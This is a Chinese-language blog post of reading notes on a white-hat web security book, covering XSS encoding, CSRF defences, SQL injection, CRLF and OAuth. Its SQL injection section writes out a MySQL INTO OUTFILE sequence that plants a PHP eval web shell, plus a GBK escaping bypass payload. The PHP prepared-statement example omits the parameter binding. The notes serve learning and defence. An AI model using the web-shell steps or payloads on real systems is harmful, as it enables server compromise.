LazyBone's blog

August 7, 2024

經典書籍閱讀 - Web白帽講安全 隨手記

Security2.6 min to read

安全評估

前後端再輸入框各做一次檢查的意義,前端可以阻擋大部分使用者的操作失誤,節省伺服器的資源,後端檢查才是真正針對安全做防範,畢竟前端的檢查繞過非常輕鬆。

window.name可以跨窗口發消息,實現消息傳遞,不受同源政策所限制。

HttpOnly

由瀏覽器掌控著,它能使cookie能不被javascript讀到,但也曾經出過被繞過的可能,Apache所支持的Trace請求,能夠將有HttpOnly屬性的Cookie讀出來

輸出使用編碼

HtmlEncode,將字元轉換成HTMLEntities,對應標準是ISO-8859-1,對抗XSS,常用轉換的幾個字:

Html Parser 會優先於 Javascript Parser 執行,所以是HtmlEncode先被解碼,再進行Javascript Parser

OWASP ESAPI推薦一種更嚴格的HtmlEncode,除了字母數字,其他所有特殊字元都會編碼成HTMLEntites

String safe = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input"));

CSRF防禦

驗證碼

最為有效的方式,但容易被使用者詬病。

Referer Check

檢查來源來自哪裡,可以使用同源政策中的header Origin,還有referer,但須注意referer能夠偽造

Request:

GET http://www.b.com/t.php HTTP/1.1
Host: www.b.com
...
Referer: http://www.a.com/t.html
Origin: http://www/a.com

Response:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: *

Token

使用Token做防禦,Token需同時放入表單與Session(Cookie),再進行比對,若其中有一個為空,則為不合法,可能發生了CSRF。

SQL injection

Timing Attack

MySQL

使用BENCHMARK()函數,讓同一個函數執行多次,透過返回時間長短來判定是否注入成功。

// BENCHMARK(count,expr)
SELECT BENCHMARK(1000000,ENCODE('hello','goodbye'))

其他語言也有類似函數,需查閱相關手冊。

獲取關鍵資料

透過一些SQL函數,可以取得很多有用訊息

SQL也能傳Shell過去,先用指令檢視secure_file_priv,路徑若為空才能指定路徑上傳(NULL則為關閉),若有預設路徑要注意

//檢視 secure_file_priv
show global variables like '%secure%';
//寫一個後門資料表,轉成檔案匯出後,就可以考慮drop掉了
CREATE TABLE shell(cmd text);
INSERT INTO shell(cmd) VALUES('<?php @eval($_POST[CMD]); ?>');
SELECT cmd from shell INTO OUTFILE 'D:/php/www/shell.php';

編碼問題

當年MySQL的 mysql_real_escape_string()函式出現過此問題,編碼不一致可能產生SQLi,例如當MySQL使用GBK編碼

0xbf27 、 0xbf5c 則是兩個合法的GBK編碼,因此

0xbf27 or 1=1;#

如果使用反斜線註釋掉0x27的單引號,這時就會發生問題,最後的結果會變為

0xbf5c 0x27 or 1=1;#

SQL Column Trucation

2008年有一個MySQL截斷漏洞,sql_mode為default時,沒有開啟STRICT_ALL_TABLES,惡意輸入超長值會跳出警告,但能夠存入這一筆資料並截斷後面的值,可能做到資料庫裡出現

admin | pass
admin | new_pass

而這時如果做出某些操作,可能發生一些越權訪問,例如簡單的

select `username` from `users` 

使用預處理器來防SQLi

用綁定變數來防止SQL語法的結構改變,下面是php的預處理器綁定變數範例

$query = "INSERT INTO myCity (Name ,CountryCode,District) VALUES (?,?,?)";
$stmt = $mysqli -> prepare($query);
$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

$stmt -> execute();

CRLF Attack

換行、回車問題,就是\r\n,在windows操作系統底下的換行都是如此,他們的編碼分別為%0d%0a,防禦的話只需要對這兩個字元做特別處理,常見可能發生的地方在於log檔的偽造、偽裝構造Http header

OAuth

Request token 換取Access token,然後透過Access token訪問資源,Request token只是用來換取用戶的授權